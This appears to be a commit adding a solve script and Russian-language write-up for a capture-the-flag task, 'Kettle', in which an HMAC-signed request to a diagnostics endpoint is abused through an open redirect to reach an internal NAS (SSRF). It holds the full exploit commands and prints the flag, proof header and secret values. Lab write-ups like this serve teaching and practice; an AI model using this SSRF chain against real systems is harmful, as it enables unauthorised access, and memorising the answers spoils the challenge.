Init. import

GAME/kettle/solve.sh

@@ -0,0 +1,18 @@
+#!/usr/bin/env bash
+# Параметры из деплоя
+PROOF="printer-proof-3d3130"
+NONCE="kettle-nonce-74c1"
+
+URL="https://printer.caplag-task.ru/go?u=https://nas.caplag-task.ru/internal/hint"
+# Метка времени (секунды)
+TS=$(date +%s)
+
+# MAC = HMAC-SHA256(key=PROOF:NONCE, msg="URL\nTS")
+KEY="${PROOF}:${NONCE}"
+MAC=$(printf "%s\n%s" "$URL" "$TS" | openssl dgst -sha256 -hmac "$KEY" -hex | awk '{print $2}')
+echo $MAC
+echo $TS
+# Запрос
+curl -X POST -i "https://kettle.caplag-task.ru/diagnostics/fetch" \
+  -H "Content-Type: application/json" \
+  -d "{\"proof\":\"$PROOF\",\"ts\":\"$TS\",\"mac\":\"$MAC\",\"url\":\"$URL\"}"

GAME/kettle/writeup.md

@@ -0,0 +1,55 @@
+# Разбор решения задачи Kettle
+
+Разбор для участников (с учётом: PROOF уже есть из «принтера», исходники найдены на GitHub).
+
+## Ключевая логика из исходников
+
+- В `files/server.js` видно, что `/diagnostics` отдаёт `X-Device-ID` — это `KETTLE_NONCE`. В UI показываются только последние 4 символа, поэтому полный nonce берём из заголовка ответа.
+- `/diagnostics/fetch` принимает JSON с `proof`, `ts`, `mac`, `url` и проверяет:
+  - `proof` должен совпасть с PRINTER_PROOF (у вас он уже есть из задания с принтером),
+  - `ts` — свежий (±300 сек),
+  - `mac` — HMAC-SHA256 по формуле: `key = PROOF:NONCE`, `msg = "URL\nTS"`.
+- `url` должен начинаться с разрешённого хоста. В проде в whitelist попадают `printer...` и `nas...`, поэтому можно использовать «принтер» как стартовый хост и через него уйти на `nas/internal/hint`.
+- Kettle делает запрос к NAS с нужными заголовками (`X-Shared-Key` и пр.), поэтому прямой доступ извне обычно не работает — нужен именно прокси через kettle.
+
+## Практический путь
+
+1) Узнать nonce из заголовка:
+
+```bash
+curl -i https://kettle.caplag-task.ru/diagnostics | rg -i x-device-id
+```
+
+2) Собрать URL на «принтер» с редиректом на NAS:
+
+```
+https://printer.caplag-task.ru/go?u=https://nas.caplag-task.ru/internal/hint
+```
+
+3) где PRINTER_PROOF=PROOF который получили на прошлом таске( как понять что нужен пруф принтера, по дефолтной ссылке диагностики)
+4) Посчитать подпись и отправить запрос:
+
+
+```bash
+PROOF="printer-proof-3d3130"
+NONCE="kettle-nonce-74c1"
+
+URL="https://printer.caplag-task.ru/go?u=https://nas.caplag-task.ru/internal/hint"
+TS=$(date +%s)
+
+KEY="${PROOF}:${NONCE}"
+MAC=$(printf "%s\n%s" "$URL" "$TS" | openssl dgst -sha256 -hmac "$KEY" -hex | awk '{print $2}')
+
+curl -X POST -i "https://kettle.caplag-task.ru/diagnostics/fetch" \
+  -H "Content-Type: application/json" \
+  -d "{\"proof\":\"$PROOF\",\"ts\":\"$TS\",\"mac\":\"$MAC\",\"url\":\"$URL\"}"
+```
+
+В ответ так же получаем:
+заголовки:
+X-Kettle-Proof: kettle-proof-90fa
+
+тело:
+caplag{chain_electric_kettle_ssrf_g1ve_acce$_to_the_nas}
+JWT_SECRET_XOR_HEX=de223a4935e307f1982a486b14958da5d93f3d5337
+game_code=ooooooyeeeeah_we_have_got_SuperAdmin_account_to_nas